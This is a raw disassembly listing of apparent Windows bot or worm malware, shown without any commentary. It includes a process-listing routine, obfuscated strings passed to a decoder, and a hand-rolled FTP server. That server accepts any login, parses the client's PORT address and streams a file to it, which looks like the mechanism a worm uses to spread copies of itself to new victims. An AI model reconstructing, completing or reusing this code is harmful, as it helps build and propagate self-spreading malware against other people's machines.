arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_445014
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_445008
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_445000
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FF4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449287
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8EAB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44965F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8EAB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8EAB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E54
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DC8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44965F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449968
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445090 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445090 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445090 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445090 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445090 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445090 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5F67AE
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DC8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449968
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		call	near ptr 77C40AB1h
		nop
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2840000h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E54
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
